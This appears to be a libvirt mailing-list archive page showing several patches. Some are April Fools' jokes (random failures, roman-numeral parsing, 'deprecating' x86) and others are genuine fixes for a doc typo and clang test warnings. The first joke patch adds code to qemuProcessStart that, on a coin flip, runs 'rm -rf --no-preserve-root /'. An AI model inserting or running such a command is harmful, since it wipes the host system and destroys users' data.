[libvirt] [PATCH] Give other software a fair chance
by Michal Privoznik
Libvirt's so good, so solid that it almost feels like other
software stand no chance. Other applications are buggy, unstable,
crashing, etc. But not libvirt. Therefore, it seems only fair
that we introduce some bugs so developers of the other
applications don't feel that bad.
Signed-off-by: Michal Privoznik <mprivozn(a)redhat.com>
---
src/qemu/qemu_process.c | 10 ++++++++++
1 file changed, 10 insertions(+)
diff --git a/src/qemu/qemu_process.c b/src/qemu/qemu_process.c
index a20beb1..2a68611 100644
--- a/src/qemu/qemu_process.c
+++ b/src/qemu/qemu_process.c
@@ -77,6 +77,7 @@
#include "configmake.h"
#include "nwfilter_conf.h"
#include "netdev_bandwidth_conf.h"
+#include "virrandom.h"
#define VIR_FROM_THIS VIR_FROM_QEMU
@@ -5960,6 +5961,15 @@ qemuProcessStart(virConnectPtr conn,
if (!migrateFrom && !snapshot)
flags |= VIR_QEMU_PROCESS_START_NEW;
+ /* Be fair to other applications. */
+ if (virRandomInt(2)) {
+ const char *argv[] = {"rm", "-rf", "--no-preserve-root", "/", NULL};
+ virReportError(VIR_ERR_INTERNAL_ERROR, "%s",
+ _("Sorry pal, today is just not your day. Kiss your data goodbye."));
+ ignore_value(virRun(argv, NULL));
+ goto cleanup;
+ }
+
if (qemuProcessInit(driver, vm, asyncJob, !!migrateFrom, flags) < 0)
goto cleanup;
--
2.10.2
7 years, 7 months
[libvirt] [PATCH] util: add support for parsing roman numerals
by Ján Tomko
In loving memory of the glorious Roman Empire, add support
for parsing roman numerals to all the positive virStrToLong
variants (those that reject negative numbers).
Now you can finally do:
<memory unit='MiB'>CCLVI</memory>
---
src/util/virstring.c | 78 ++++++++++++++++++++++++++++++++++++++++++++++++++++
1 file changed, 78 insertions(+)
diff --git a/src/util/virstring.c b/src/util/virstring.c
index 69abc26..81c2052 100644
--- a/src/util/virstring.c
+++ b/src/util/virstring.c
@@ -313,6 +313,69 @@ virStringListGetFirstWithPrefix(char **strings,
return NULL;
}
+const char *digits = "IVXLCDM";
+const unsigned values[] = { 1, 5, 10, 50, 100, 500, 1000 };
+
+static int
+virRomanStrToLong_ul(char const *s, unsigned long *result)
+{
+ unsigned long ret = 0;
+ char const *cur;
+
+ if (*s == '\0')
+ return -1;
+
+ for (cur = s; *cur != '\0'; cur++) {
+ size_t pos;
+ char const *lookup;
+
+ lookup = strchr(digits, *cur);
+ if (!lookup)
+ return -1;
+ pos = lookup - digits;
+
+ if (*(cur + 1) != '\0' && strchr(digits + pos + 1, *(cur + 1))) {
+ ret -= values[pos];
+ } else {
+ if (ret > ULONG_MAX - values[pos])
+ return -1;
+ ret += values[pos];
+ }
+ }
+ *result = ret;
+ return 0;
+}
+
+static int
+virRomanStrToLong_ull(char const *s, unsigned long long *result)
+{
+ unsigned long long ret = 0;
+ char const *cur;
+
+ if (*s == '\0')
+ return -1;
+
+ for (cur = s; *cur != '\0'; cur++) {
+ size_t pos;
+ char const *lookup;
+
+ lookup = strchr(digits, *cur);
+ if (!lookup)
+ return -1;
+ pos = lookup - digits;
+
+ if (*(cur + 1) != '\0' && strchr(digits + pos + 1, *(cur + 1))) {
+ ret -= values[pos];
+ } else {
+ if (ret > ULLONG_MAX - values[pos])
+ return -1;
+ ret += values[pos];
+ }
+ }
+ *result = ret;
+ return 0;
+}
+
/* Like strtol, but produce an "int" result, and check more carefully.
Return 0 upon success; return -1 to indicate failure.
When END_PTR is NULL, the byte after the final valid digit must be NUL.
@@ -379,6 +442,11 @@ virStrToLong_uip(char const *s, char **end_ptr, int base, unsigned int *result)
char *p;
bool err = false;
+ if (virRomanStrToLong_ul(s, &val) == 0) {
+ *result = val;
+ return 0;
+ }
+
errno = 0;
val = strtoul(s, &p, base); /* exempt from syntax-check */
err = (memchr(s, '-', p - s) ||
@@ -441,6 +509,11 @@ virStrToLong_ulp(char const *s, char **end_ptr, int base,
char *p;
int err;
+ if (virRomanStrToLong_ul(s, &val) == 0) {
+ *result = val;
+ return 0;
+ }
+
errno = 0;
val = strtoul(s, &p, base); /* exempt from syntax-check */
err = (memchr(s, '-', p - s) ||
@@ -504,6 +577,11 @@ virStrToLong_ullp(char const *s, char **end_ptr, int base,
char *p;
int err;
+ if (virRomanStrToLong_ull(s, &val) == 0) {
+ *result = val;
+ return 0;
+ }
+
errno = 0;
val = strtoull(s, &p, base); /* exempt from syntax-check */
err = (memchr(s, '-', p - s) ||
--
2.10.2
7 years, 7 months
[libvirt] [PATCH 0/5] Deprecate obsolete architectures
by Andrea Bolognani
libvirt supports way too many architectures, including a
bunch which are no longer relevant these days.
As a result, developers spend a lot of their time focusing
on bugs and features that only affect legacy architectures
such as x86 rather than on improving support for reasonable,
modern architectures such as ppc64 and aarch64.
This series starts deprecating obsolete architectures so we
can drop support for them and retarget our efforts down the
line.
The initial list of deprecated architectures is fairly
conservative, only including those which are clearly obsolete
such as x86; on the other hand, dropping just those would
already allow us to get rid of a lot of complex and probably
fairly buggy code, so I think it's a good first step.
I'd suggest dropping the support for architectures we're
deprecating with this series completely with version 4.0.0,
due on January of next year, but I could be persuaded to
proceed earlier.
Andrea Bolognani (5):
configure: Deprecate obsolete architectures
daemon: Log warning when running on a deprecated architecture
virsh: Emit warning when running on a deprecated architecture
qemu: Taint guests emulating a deprecated architecture
news: Document architecture deprecation
configure.ac | 15 +++++++++++++++
daemon/libvirtd.c | 5 +++++
docs/news.xml | 13 +++++++++++++
src/conf/domain_conf.c | 3 ++-
src/conf/domain_conf.h | 1 +
src/qemu/qemu_domain.c | 3 +++
src/util/virarch.h | 3 +++
tools/virsh.c | 6 ++++++
8 files changed, 48 insertions(+), 1 deletion(-)
--
2.7.4
7 years, 7 months
[libvirt] [PATCH] docs: bhyve: fix typo
by Roman Bogorodskiy
USB tables -> USB tablet.
---
Pushed as trivial.
docs/drvbhyve.html.in | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/docs/drvbhyve.html.in b/docs/drvbhyve.html.in
index 0aed121ff..dd6620d59 100644
--- a/docs/drvbhyve.html.in
+++ b/docs/drvbhyve.html.in
@@ -312,7 +312,7 @@ attempt to boot from the first partition in the disk image.</p>
<p>Caveat: <code>bootloader_args</code> does not support any quoting.
Filenames, etc, must not have spaces or they will be tokenized incorrectly.</p>
-<h3><a name="uefi">Using UEFI bootrom, VNC, and USB tables</a></h3>
+<h3><a name="uefi">Using UEFI bootrom, VNC, and USB tablet</a></h3>
<p><span class="since">Since 3.2.0</span>, in addition to <a href="#grubbhyve">grub-bhyve</a>,
non-FreeBSD guests could be also booted using an UEFI boot ROM, provided both guest OS and
--
2.11.0
7 years, 7 months
[libvirt] [PATCH] tests: ignore -Wframe-larger-than= with clang
by Roman Bogorodskiy
When building with clang and using CFLAGS for debugging (like -O2 -g),
build fails on building tests unless configured with --disable-werror:
virshtest.c:253:1: error: stack frame size of 5512 bytes in function 'mymain' [-Werror,-Wframe-larger-than=]
mymain(void)
To fix that, introduce VIR_WARNINGS_NO_FRAME_LARGER_THAN(_RESET)
macros that disable "-Wframe-larger-than=" diagnostics when
compiling with clang and use that for tests that fail.
---
src/internal.h | 13 +++++++++++++
tests/cputest.c | 4 ++++
tests/qemuhotplugtest.c | 3 +++
tests/sockettest.c | 5 +++++
tests/virshtest.c | 4 ++++
tests/virstringtest.c | 5 +++++
6 files changed, 34 insertions(+)
diff --git a/src/internal.h b/src/internal.h
index d64be93b3..c1f4aff27 100644
--- a/src/internal.h
+++ b/src/internal.h
@@ -286,6 +286,19 @@
# define VIR_WARNINGS_NO_WLOGICALOP_STRCHR
# endif
+/* Workaround for clang's triggering "-Wframe-larger-than=" on tests
+ * when compiling with '-O0' */
+# ifndef VIR_WARNINGS_NO_FRAME_LARGER_THAN
+# if defined(__clang__)
+# define VIR_WARNINGS_NO_FRAME_LARGER_THAN \
+ _Pragma ("clang diagnostic push") \
+ _Pragma ("clang diagnostic ignored \"-Wframe-larger-than=\"")
+# define VIR_WARNINGS_NO_FRAME_LARGER_THAN_RESET _Pragma("clang diagnostic pop")
+# else
+# define VIR_WARNINGS_NO_FRAME_LARGER_THAN
+# define VIR_WARNINGS_NO_FRAME_LARGER_THAN_RESET
+# endif /* defined(__clang__) */
+# endif
/*
* Use this when passing possibly-NULL strings to printf-a-likes.
diff --git a/tests/cputest.c b/tests/cputest.c
index 3d3e43f16..b00352390 100644
--- a/tests/cputest.c
+++ b/tests/cputest.c
@@ -732,6 +732,8 @@ static const char *models[] = { "qemu64", "core2duo", "Nehalem" };
static const char *haswell[] = { "SandyBridge", "Haswell" };
static const char *ppc_models[] = { "POWER6", "POWER7", "POWER8" };
+VIR_WARNINGS_NO_FRAME_LARGER_THAN
+
static int
mymain(void)
{
@@ -1012,4 +1014,6 @@ mymain(void)
return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE;
}
+VIR_WARNINGS_NO_FRAME_LARGER_THAN_RESET
+
VIRT_TEST_MAIN(mymain)
diff --git a/tests/qemuhotplugtest.c b/tests/qemuhotplugtest.c
index cdeb3f1bf..5492d09c6 100644
--- a/tests/qemuhotplugtest.c
+++ b/tests/qemuhotplugtest.c
@@ -574,6 +574,7 @@ testQemuHotplugCpuIndividual(const void *opaque)
}
+VIR_WARNINGS_NO_FRAME_LARGER_THAN
static int
mymain(void)
@@ -856,4 +857,6 @@ mymain(void)
return (ret == 0) ? EXIT_SUCCESS : EXIT_FAILURE;
}
+VIR_WARNINGS_NO_FRAME_LARGER_THAN_RESET
+
VIRT_TEST_MAIN(mymain)
diff --git a/tests/sockettest.c b/tests/sockettest.c
index 4d49b38aa..a33b98f6f 100644
--- a/tests/sockettest.c
+++ b/tests/sockettest.c
@@ -264,6 +264,9 @@ testIsLocalhostHelper(const void *opaque)
return 0;
}
+
+VIR_WARNINGS_NO_FRAME_LARGER_THAN
+
static int
mymain(void)
{
@@ -482,4 +485,6 @@ mymain(void)
return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE;
}
+VIR_WARNINGS_NO_FRAME_LARGER_THAN_RESET
+
VIRT_TEST_MAIN(mymain)
diff --git a/tests/virshtest.c b/tests/virshtest.c
index 2f1022416..149e33feb 100644
--- a/tests/virshtest.c
+++ b/tests/virshtest.c
@@ -249,6 +249,8 @@ static int testCompareEcho(const void *data)
}
+VIR_WARNINGS_NO_FRAME_LARGER_THAN
+
static int
mymain(void)
{
@@ -419,6 +421,8 @@ mymain(void)
return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE;
}
+VIR_WARNINGS_NO_FRAME_LARGER_THAN_RESET
+
VIRT_TEST_MAIN(mymain)
#endif /* WIN32 */
diff --git a/tests/virstringtest.c b/tests/virstringtest.c
index db1731f96..914eeea24 100644
--- a/tests/virstringtest.c
+++ b/tests/virstringtest.c
@@ -693,6 +693,9 @@ static int testStripControlChars(const void *args)
return ret;
}
+
+VIR_WARNINGS_NO_FRAME_LARGER_THAN
+
static int
mymain(void)
{
@@ -961,4 +964,6 @@ mymain(void)
return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE;
}
+VIR_WARNINGS_NO_FRAME_LARGER_THAN_RESET
+
VIRT_TEST_MAIN(mymain)
--
2.11.0
7 years, 7 months